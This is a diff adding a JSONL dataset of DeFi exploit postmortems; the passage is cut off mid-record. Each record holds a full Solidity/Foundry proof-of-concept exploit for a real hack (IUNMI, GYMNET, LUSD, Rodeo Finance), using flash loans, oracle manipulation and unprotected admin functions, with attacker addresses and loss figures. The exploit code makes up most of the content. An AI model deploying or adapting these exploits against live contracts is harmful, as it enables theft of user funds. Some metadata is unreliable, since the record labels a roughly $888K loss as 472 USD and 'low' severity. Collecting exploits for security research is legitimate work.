diff --git "a/postmortems_flat.jsonl" "b/postmortems_flat.jsonl" new file mode 100644--- /dev/null +++ "b/postmortems_flat.jsonl" @@ -0,0 +1,668 @@ +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4.7K USD\n// Attacker : https://etherscan.io/address/0x43debe92a7a32dca999593fad617dbd2e6b080a5s\n// Attack Contract : https://etherscan.io/address/0x5b5a0580bcfd3673820bb249514234afad33e209\n// Vulnerable Contract : https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459\n// Attack Tx : https://etherscan.io/tx/0x45ce017f5a295f387eafb596b4bcb1192dd1c302ccb9d097d7fa2cdf3008b139\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459\n\n// @Analysis\n\n// Post-mortem : https://x.com/TenArmorAlert/status/1834503422655263099\n// Twitter Guy : https://x.com/TenArmorAlert/status/1834503422655263099\n// Hacking God : N/A\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant addr1 = 0x5B5A0580bcfd3673820Bb249514234aFAD33e209;\naddress constant attacker = 0x43dEbe92A7A32DCa999593fAd617dBD2e6b080a5;\naddress constant INUMI_contract = 0xdb27D4ff4bE1cd04C34A7cB6f47402c37Cb73459;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20729672-1);\n deal(attacker, 1.07297e-13 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 2.0000000000001075 ether);\n attC.attack{value: 1.07297e-13 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x5B5A0580bcfd3673820Bb249514234aFAD33e209\ncontract AttackerC {\n function attack() public payable {\n // call_1: INUMI_contract.setMarketingWallet(addr1)\n (bool s1, ) = INUMI_contract.call(abi.encodeWithSelector(bytes4(keccak256(\"setMarketingWallet(address)\")), address(this)));\n require(s1, \"setMarketingWallet fail\");\n\n // call_2: INUMI_contract.rescueEth()\n (bool s2, ) = INUMI_contract.call(abi.encodeWithSelector(bytes4(keccak256(\"rescueEth()\"))));\n require(s2, \"rescueEth fail\");\n\n // static call_3: WETH.balanceOf(address(this))\n uint256 bal = IWETH9(weth9).balanceOf(address(this));\n\n if (bal == 0) {\n // Replicate the gasprice-based payout logic\n unchecked {\n uint256 gp = tx.gasprice;\n if (((43900 * gp) / (gp == 0 ? 1 : gp) == 43900) || gp == 0) {\n if (2 ether > (43900 * gp)) {\n int256 denom = int256(2 ether) - int256(43900 * gp);\n if ((denom != 0 && (int256(400 ether) - int256(8780000 * gp)) / denom == 200) || denom == 0) {\n int256 numer = int256(400 ether) - int256(8780000 * gp);\n if (numer / 1000 != 0) {\n // // coinbase payment\n // uint256 toCb = uint256(numer / 1000);\n // payable(block.coinbase).call{value: toCb}(\"\");\n\n // send fixed amount to attacker\n (bool s3, ) = payable(attacker).call{value: 1600155836139037101}(\"\");\n }\n }\n }\n }\n }\n }\n }\n\n fallback() external payable {}\n\n receive() external payable {}\n}\n\ninterface IWETH9 {\n\tfunction balanceOf(address) external returns (uint256); \n}", "type": "exploit_poc", "protocol": "IUNMI_db27", "date": null, "file_name": "IUNMI_db27_exp.sol", "attack_vector": null, "content_hash": "8605de1e0fdfc835", "collected_at": "2026-01-07T10:59:16.509448", "_source": "postmortems", "chain": "ethereum", "block_number": 20729672, "total_lost_raw": "4.7K USD", "total_lost_usd": 4700.0, "attacker_address": "https://etherscan.io/address/0x43debe92a7a32dca999593fad617dbd2e6b080a5s", "attack_contract": "https://etherscan.io/address/0x5b5a0580bcfd3673820bb249514234afad33e209", "vulnerable_contract": "https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459", "attack_tx": "https://etherscan.io/tx/0x45ce017f5a295f387eafb596b4bcb1192dd1c302ccb9d097d7fa2cdf3008b139", "postmortem_url": "https://x.com/TenArmorAlert/status/1834503422655263099", "twitter_url": "https://x.com/TenArmorAlert/status/1834503422655263099", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "4.7K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 2.0000000000001075 ether);\n attC.attack{value: 1.07297e-13 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0x5B5A0580bcfd3673820Bb249514234aFAD33e209\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "4.7K USD", "keyinfo_attacker": "https://etherscan.io/address/0x43debe92a7a32dca999593fad617dbd2e6b080a5s", "keyinfo_attack_contract": "https://etherscan.io/address/0x5b5a0580bcfd3673820bb249514234afad33e209", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459", "keyinfo_attack_tx": "https://etherscan.io/tx/0x45ce017f5a295f387eafb596b4bcb1192dd1c302ccb9d097d7fa2cdf3008b139", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1834503422655263099", "analysis_twitter": "https://x.com/TenArmorAlert/status/1834503422655263099", "funds_lost_formatted": "$4.7K", "content_richness_score": 7.82, "quality_estimate": "medium", "title": "IUNMI_db27 Exploit (None)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Unclear\n// Attacker : https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb\n// Attack Contract : https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2\n// Vulnerable Contract : https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b\n// Attack Tx : https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6\n\n// @Analysis\n// https://twitter.com/AnciliaInc/status/1686605510655811584\n\ninterface IGymRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to\n ) external;\n}\n\ncontract GYMTest is Test {\n IERC20 GYMNET = IERC20(0x0012365F0a1E5F30a5046c680DCB21D07b15FcF7);\n IERC20 fakeUSDT = IERC20(0x2A1ee1278a8b64fd621B46e3ee9c08071cA3A8a5);\n // PancakeSwap V2: GYMNET-fakeUSDT\n IERC20 CakeLP = IERC20(0x8e1b75e6c43aEAf5055De07Ab4b76E356d7BB2db);\n Uni_Pair_V2 PancakePair = Uni_Pair_V2(0xf5D3cba24783586Db9e7F35188EC0747FfB55F9B);\n Uni_Router_V2 PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IGymRouter GymRouter = IGymRouter(0x6b869795937DD2B6F4E03d5A0Ffd07A8AD8c095B);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 30_448_986);\n cheats.label(address(GYMNET), \"GYMNET\");\n cheats.label(address(fakeUSDT), \"fakeUSDT\");\n cheats.label(address(CakeLP), \"CakeLP\");\n cheats.label(address(PancakePair), \"PancakePair\");\n cheats.label(address(PancakeRouter), \"PancakeRouter\");\n cheats.label(address(GymRouter), \"GymRouter\");\n }\n\n function testExploit() public {\n // Attacker deploys fakeUSDT contract\uff0cforcing victim's gym to exchange fakeUSDT to earn\n // Start with below amount of fakeUSDT. Crucial for further adding liquidity to PancakeRouter\n // Attack contract already had fakeUSDT balance in attack tx\n deal(address(fakeUSDT), address(this), 9_990_000 * 1e18);\n // emit log_named_decimal_uint(\n // \"Attacker fakeUSDT balance before exploit\",\n // fakeUSDT.balanceOf(address(this)),\n // fakeUSDT.decimals()\n // );\n emit log_named_decimal_uint(\n \"Attacker GYMNET balance before exploit\", GYMNET.balanceOf(address(this)), GYMNET.decimals()\n );\n console.log(\"1. Taking GYMNET flashloan\");\n PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1));\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n GYMNET.approve(address(PancakeRouter), ~uint256(0));\n fakeUSDT.approve(address(PancakeRouter), ~uint256(0));\n CakeLP.approve(address(PancakeRouter), ~uint256(0));\n\n console.log(\"2. Adding GYMNET-fakeUSDT liquidity\");\n PancakeRouter.addLiquidity(\n address(GYMNET),\n address(fakeUSDT),\n GYMNET.balanceOf(address(this)),\n fakeUSDT.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp + 1000\n );\n\n emit log_named_decimal_uint(\n \"2a. Added attacker's liquidity\", CakeLP.balanceOf(address(this)), CakeLP.decimals()\n );\n\n address[] memory victims = new address[](18);\n victims[0] = 0x0C8bbd0629050b78C91F1AAfDCF04e90238B3568;\n victims[1] = 0xbDFcA747646975F3bb9dA26BD55DAf2168c40Fe7;\n victims[2] = 0x4AD478039bE7D1aD17C2eCBEb1029c29366c2789;\n victims[3] = 0x081c96340738e397111E010137E04E97fB444E74;\n victims[4] = 0xb611329241a51F84519BDc773E5E98F94e2D7491;\n victims[5] = 0x3720d2BbFC8Bd5d6D62c8bf71fFD33Ea20cbEAE5;\n victims[6] = 0x07E12a333B500a2f7048131400f0D216eb226F10;\n victims[7] = 0xe01edc2B47576bf4aEF9fa311B1f16961c634F76;\n victims[8] = 0x96346D0302E8640fbB165040B3d039bf10ce9565;\n victims[9] = 0x88c08aafFDd547EBa783c84c23b549B5222fFB56;\n victims[10] = 0x38B9a3Bd8693D59d38769A7CE8802632D1DB9D67;\n victims[11] = 0x0E1556F63B7d30D6d7966Cb7b194eA7A8F3C588a;\n victims[12] = 0x7E1d08f4960b3825eb3da2abbE3Cc849Ff53576c;\n victims[13] = 0xA4265EfFEeeeC7dbc5b323610ccD738E8A1aE298;\n victims[14] = 0xE62551B1385FD59C6A39224838Ba432B0F7735f2;\n victims[15] = 0xE52234Ed813EBFC625477B4626AB84Ea09A82556;\n victims[16] = 0x819B684fd18D0512EFC89c81aEAadFDdA61Fa7fC;\n victims[17] = 0xd6c382B2624293cEf5A43E30e12cc0e6b3DEd153;\n\n console.log(\"3. Exploiting vulnerability in gym router...\");\n for (uint256 i; i < victims.length; ++i) {\n GYMNETTofakeUSDT(victims[i]);\n }\n\n emit log_named_decimal_uint(\n \"4. Removing GYMNET-fakeUSDT liquidity\", CakeLP.balanceOf(address(this)), CakeLP.decimals()\n );\n PancakeRouter.removeLiquidity(\n address(GYMNET),\n address(fakeUSDT),\n CakeLP.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp + 1000\n );\n\n console.log(\"5. Repaying GYMNET flashloan\");\n GYMNET.transfer(address(PancakePair), 1_043_936 * 1e18);\n\n // emit log_named_decimal_uint(\n // \"Attacker fakeUSDT balance after exploit\",\n // fakeUSDT.balanceOf(address(this)),\n // fakeUSDT.decimals()\n // );\n emit log_named_decimal_uint(\n \"Attacker GYMNET balance after exploit\", GYMNET.balanceOf(address(this)), GYMNET.decimals()\n );\n }\n\n function GYMNETTofakeUSDT(\n address victim\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(GYMNET);\n path[1] = address(fakeUSDT);\n uint256[] memory amounts = PancakeRouter.getAmountsOut(GYMNET.balanceOf(victim), path);\n uint256 amountOutMin = amounts[1] - (amounts[1] / 20);\n GymRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n GYMNET.balanceOf(victim), amountOutMin, path, victim\n );\n }\n}\n", "type": "exploit_poc", "protocol": "GYMNET", "date": "2023-07", "file_name": "GYMNET_exp.sol", "attack_vector": "flash_loan", "content_hash": "beb66d4fa1a8e1f9", "collected_at": "2026-01-07T10:59:16.509619", "_source": "postmortems", "chain": "bsc", "block_number": 30448986, "total_lost_raw": "Unclear", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb", "attack_contract": "https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2", "vulnerable_contract": "https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b", "attack_tx": "https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "Unclear", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Attacker deploys fakeUSDT contract\uff0cforcing victim's gym to exchange fakeUSDT to earn\n // Start with below amount of fakeUSDT. Crucial for further adding liquidity to PancakeRouter\n // Attack contract already had fakeUSDT balance in attack tx\n deal(address(fakeUSDT), address(this), 9_990_000 * 1e18);\n // emit log_named_decimal_uint(\n // \"Attacker fakeUSDT balance before exploit\",\n // fakeUSDT.balanceOf(address(this)),\n // fakeUSDT.decimals()\n // );\n emit log_named_decimal_uint(\n \"Attacker GYMNET balance before exploit\", GYMNET.balanceOf(address(this)), GYMNET.decimals()\n );\n console.log(\"1. Taking GYMNET flashloan\");\n PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1));\n }", "has_exploit_code": true, "keyinfo_total_lost": "Unclear", "keyinfo_attacker": "https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb", "keyinfo_attack_contract": "https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 9, "quality_estimate": "high", "title": "GYMNET Exploit (2023-07)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~16k\n// Attacker contract address : https://bscscan.com/address/0x21ad028c185ac004474c21ec5666189885f9e518\n// Vulnerable contract : https://bscscan.com/address/0x637de69f45f3b66d5389f305088a38109aa0cf7c#code\n// Attack TX : https://explorer.phalcon.xyz/tx/bsc/0x1eeef7b9a12b13f82ba04a7951c163eb566aa048050d6e9318b725d7bcec6bfa\n\n// @Analysis : the loan contract use getAmountsOut to calculate how many lusd should be mint,and the hacker manipulate the BTCB-BSC-USD pool,\n// borrow 1BTC and return 800k BSC-USD,so the loan contract will mint extra lusd\u3002\n\n//LUSD_POOL : 0x637de69f45f3b66d5389f305088a38109aa0cf7c\n//LOAN \uff1a 0xdec12a1dcbc1f741ccd02dfd862ab226f6383003\n\ninterface LOAN {\n function supply(address supplyToken, uint256 supplyAmount) external;\n}\n\ninterface LUSDPOOL {\n function withdraw(\n uint256 amount\n ) external;\n}\n\ncontract LUSDTEST is Test {\n IERC20 BEP20USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IERC20 LUSD = IERC20(0x3cD632C25A4Db4c1A636cFb23B9285Be1097A60d);\n LOAN LOAN_ADDRESS = LOAN(0xdeC12a1dCbC1F741cCD02dFd862ab226F6383003);\n LUSDPOOL POOL_ADDRESS = LUSDPOOL(0x637De69F45F3b66D5389F305088A38109aA0cf7C);\n IDPPOracle DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair CakeLP = IPancakePair(payable(0x3F803EC2b816Ea7F06EC76aA2B6f2532F9892d62));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_756_866);\n cheats.label(address(BEP20USDT), \"BEP20USDT\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(CakeLP), \"CakeLP\");\n }\n\n function testSkim() public {\n deal(address(BEP20USDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance before attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n\n takeFlashloan(DPPOracle1);\n\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance after attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n takeFlashloan(DPPOracle2);\n } else if (msg.sender == address(DPPOracle2)) {\n takeFlashloan(DPPOracle3);\n } else if (msg.sender == address(DPPOracle3)) {\n takeFlashloan(DPP);\n } else if (msg.sender == address(DPP)) {\n takeFlashloan(DPPAdvanced);\n } else {\n BEP20USDT.approve(address(Router), type(uint256).max);\n\n CakeLP.swap(0, 1_246_953_598_313_175_025, address(this), \"0x0\");\n BTCB.approve(address(LOAN_ADDRESS), type(uint256).max);\n LOAN_ADDRESS.supply(address(BTCB), 1_515_366_635_982_742);\n LUSD.approve(address(POOL_ADDRESS), type(uint256).max);\n POOL_ADDRESS.withdraw(LUSD.balanceOf(address(this)));\n BTCB.transfer(address(CakeLP), BTCB.balanceOf(address(this)));\n CakeLP.swap(799_764_317_883_596_339_564_612, 0, address(this), \"\");\n }\n //Repaying DPPOracle flashloans\n BEP20USDT.transfer(msg.sender, quoteAmount);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n //Repaying CakeLP (Pair) flashswap\n BEP20USDT.transfer(address(CakeLP), 800_000 ether);\n }\n\n function takeFlashloan(\n IDPPOracle Oracle\n ) internal {\n Oracle.flashLoan(0, BEP20USDT.balanceOf(address(Oracle)), address(this), new bytes(1));\n }\n}\n", "type": "exploit_poc", "protocol": "LUSD", "date": "2023-07", "file_name": "LUSD_exp.sol", "attack_vector": "flash_loan", "content_hash": "6b09e832cdfce40f", "collected_at": "2026-01-07T10:59:16.509719", "_source": "postmortems", "chain": "bsc", "block_number": 29756866, "total_lost_raw": "~16k", "total_lost_usd": 16000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x637de69f45f3b66d5389f305088a38109aa0cf7c#code", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x1eeef7b9a12b13f82ba04a7951c163eb566aa048050d6e9318b725d7bcec6bfa", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~16k", "category": "flash-loan", "exploit_code": "function testSkim() public {\n deal(address(BEP20USDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance before attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n\n takeFlashloan(DPPOracle1);\n\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance after attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~16k", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$16.0K", "content_richness_score": 9.31, "quality_estimate": "high", "title": "LUSD Exploit (2023-07)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~472 Ether (~$888K)\n// Attacker : https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace328\n// Attack Contract : https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa54\n// Vulnerable Contract : https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da\n// Attack Tx : https://arbiscan.io/tx/0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1678765773396008967\n// https://twitter.com/peckshield/status/1678700465587130368\n// https://medium.com/@Rodeo_Finance/rodeo-post-mortem-overview-f35635c14101\n\ninterface IInvestor {\n function earn(\n address usr,\n address pol,\n uint256 str,\n uint256 amt,\n uint256 bor,\n bytes memory dat\n ) external returns (uint256);\n}\n\ninterface ICamelotRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to,\n address referrer,\n uint256 deadline\n ) external;\n}\n\ninterface ISwapRouter {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(\n ExactInputParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract RodeoTest is Test {\n IERC20 unshETH = IERC20(0x0Ae38f7E10A43B5b2fB064B42a2f4514cbA909ef);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IInvestor Investor = IInvestor(0x8accf43Dd31DfCd4919cc7d65912A475BfA60369);\n ICamelotRouter Router = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);\n ISwapRouter SwapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n address private constant usdcPool = 0x0032F5E1520a66C6E572e96A11fBF54aea26f9bE;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 110_043_452);\n cheats.label(address(unshETH), \"unsETH\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(Investor), \"Investor\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(SwapRouter), \"SwapRouter\");\n cheats.label(address(Vault), \"Vault\");\n }\n\n // Root Cause\n // The attacker was able to manipulate the Camelot V2 TWAP Oracle (attacking the unreleased ETH-unshETH pool)\n // TWAP price was calculated by averaging the last 4 instances of updated price where each price updating occurs every 45 minutes\n // TWAP price was manipulated via multiblock \u201csandwich\u201d attack\n // Rodeo Farms utilized the faulty price oracle for LP pricing\n // Ultimately, the attacker bypassed the Health Factor check via Price Oracle manipulation,\n // opened positions using borrowed funds from the USDC Pool and triggered large-scale swaps in the Camelot Pair.\n // They then capitalized on the price difference by conducting equal-sized swaps in the opposite direction, thus profiting from the arbitrage opportunity\n\n function testExploit() public {\n // Begin with the specific amount of unsETH (info about amount taken from the above attack tx)\n // the attackers manipulated the price of TWAP Oracle through multiple transactions\n // such as https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c\n // https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e\n deal(address(unshETH), address(this), 47_294_222_088_336_002_957);\n unshETH.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n USDC.approve(address(SwapRouter), type(uint256).max);\n\n // Vulnerable function\n // Vulnerability can be forced to swap USDC -> WETH -> unshETH\n\n Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500));\n // Swaps on CamelotRouter\n swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH));\n swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC));\n // Swap USDC to WETH on SwapRouter (UniswapV3 router)\n swapUSDCToWETH();\n takeWETHFlashloanOnBalancer();\n\n emit log_named_decimal_uint(\n \"Attacker balance of unshETH after exploit\", unshETH.balanceOf(address(this)), unshETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker balance of WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n // Swap flashloaned WETH amount to USDC\n swapTokens(amounts[0], address(WETH), address(USDC));\n // Swap all of the USDC tokens to WETH\n swapUSDCToWETH();\n // Repay flashloan\n WETH.transfer(address(Vault), amounts[0]);\n }\n\n function swapTokens(uint256 amountIn, address fromToken, address toToken) internal {\n address[] memory path = new address[](2);\n path[0] = fromToken;\n path[1] = toToken;\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn, 0, path, address(this), address(0), block.timestamp + 100\n );\n }\n\n function swapUSDCToWETH() internal {\n bytes memory path = abi.encodePacked(address(USDC), uint24(500), address(WETH));\n ISwapRouter.ExactInputParams memory params =\n ISwapRouter.ExactInputParams(path, address(this), block.timestamp + 100, USDC.balanceOf(address(this)), 0);\n SwapRouter.exactInput(params);\n }\n\n function takeWETHFlashloanOnBalancer() internal {\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 30e18;\n Vault.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n }\n}\n", "type": "exploit_poc", "protocol": "RodeoFinance", "date": "2023-07", "file_name": "RodeoFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "94559dbb1edcd429", "collected_at": "2026-01-07T10:59:16.509803", "_source": "postmortems", "chain": "arbitrum", "block_number": 110043452, "total_lost_raw": "~472 Ether (~$888K)", "total_lost_usd": 472.0, "attacker_address": "https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace328", "attack_contract": "https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa54", "vulnerable_contract": "https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da", "attack_tx": "https://arbiscan.io/tx/0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~472 Ether (~$888K)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Begin with the specific amount of unsETH (info about amount taken from the above attack tx)\n // the attackers manipulated the price of TWAP Oracle through multiple transactions\n // such as https://arbiscan.io/tx/0x5f16637460021994d40430dadc020fffdb96937cfaf2b8cb6cbc03c91980ac7c\n // https://arbiscan.io/tx/0x9a462209e573962f2654cac9bfe1277abe443cf5d1322ffd645925281fe65a2e\n deal(address(unshETH), address(this), 47_294_222_088_336_002_957);\n unshETH.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n USDC.approve(address(SwapRouter), type(uint256).max);\n\n // Vulnerable function\n // Vulnerability can be forced to swap USDC -> WETH -> unshETH\n\n Investor.earn(address(this), usdcPool, 41, 0, 400_000 * 1e6, abi.encode(500));\n // Swaps on CamelotRouter\n swapTokens(unshETH.balanceOf(address(this)), address(unshETH), address(WETH));\n swapTokens(WETH.balanceOf(address(this)), address(WETH), address(USDC));\n // Swap USDC to WETH on SwapRouter (UniswapV3 router)\n swapUSDCToWETH();\n takeWETHFlashloanOnBalancer();\n\n emit log_named_decimal_uint(\n \"Attacker balance of unshETH after exploit\", unshETH.balanceOf(address(this)), unshETH.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker balance of WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~472 Ether (~$888K)", "keyinfo_attacker": "https://arbiscan.io/address/0x2f3788f2396127061c46fc07bd0fcb91faace328", "keyinfo_attack_contract": "https://arbiscan.io/address/0xe9544ee39821f72c4fc87a5588522230e340aa54", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0xf3721d8a2c051643e06bf2646762522fa66100da", "keyinfo_attack_tx": "https://arbiscan.io/tx/0xb1be5dee3852c818af742f5dd44def285b497ffc5c2eda0d893af542a09fb25a", "analysis_postmortem": "", "analysis_twitter": 